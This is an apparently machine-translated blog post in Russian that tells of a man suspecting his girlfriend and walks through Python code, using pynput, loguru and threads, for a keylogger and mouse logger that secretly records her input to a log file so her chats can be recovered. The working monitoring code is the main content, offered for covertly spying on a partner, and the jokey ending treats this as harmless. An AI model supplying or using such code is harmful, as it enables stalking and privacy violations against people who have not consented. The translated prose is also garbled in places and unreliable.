Мало знаний, большой вызов! Эта статья участвует в "Необходимые знания для программистов«Творческая деятельность.
Некоторое время назад мой брат, который спал на моей верхней койке в колледже, рассуждал в группе братьев и сказал: Он обнаружил, что его девушка сидит перед компьютером до тех пор, пока она не работает в эти дни, не из-за работы. И как только он подойдет немного ближе, он сразу же покинет страницу, поэтому он всегда был подозрительным и спрашивал у нас всех одиночных собак в группе. Затем появляется следующий диалог.
Друг: Вы спросите прямо. Друг Б: После того, как твоя девушка уснет, тайком возьми компьютер, чтобы проверить. Друг С: Если мы не будем висеть на дереве, мы выйдем пораньше, если что-то не так. Друг D: Я не думаю, что A хорош. Легко быть ошеломленным, спрашивая напрямую, но он настолько очевиден перед вами, что вы можете подойти к нему и поговорить с ним, если между двумя из них есть проблема в отношениях. ты. F друг: Эй, я не далеко от тебя? Позвольте мне пойти к вам домой к вашей девушке и помочь вам получить запись чата, разве это не прекрасно?
1. Используйте библиотеку pynput
pynput может контролировать нашу клавиатуру и мышь. Есть много библиотек с такого рода функциями, например игровые библиотеки, такие как pygame, но они слишком громоздки, когда нам нужно только следить за клавиатурой и мышью.
2. Следите за клавиатурой
На его компьютере находится фоновый процесс, который отслеживает ввод с клавиатуры и записывает его Код может быть таким:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
Печать консоли:
3. Следите за мышью
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
Печать консоли:
Вы заметите, что каждый отпечаток печатается дважды, потому что события мыши запускаются как нажатием вниз, так и нажатием вверх.
4. Мониторинг и запись в файл журнала
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
Просмотр содержимого журнала:
Таким образом, все операции с клавиатурой были записаны, просто выполняя простую операцию в этом файле журнала.NLTKС помощью языковой обработки записи чата можно восстановить.
Я не буду показывать вам эту запись, это личное, но я могу сказать вам результат, гм, на самом деле его девушка очень хороша Я вижу, что мой брат на верхней койке каждый раз должен работать сверхурочно очень поздно, и у него немного плохое здоровье, но у него хорошее лицо, так что тайно купите тоник для него онлайн, хочу дать ему тоник~ смеюсь до смерти
Ваши три последовательные (лайки, избранное, комментарии) являются движущей силой для моей непрерывной работы, спасибо. ①Интересный исходный код и опыт обучения, ②Установочный пакет инструмента, ③Ответы профессионалов, ④Обмен учебными материалами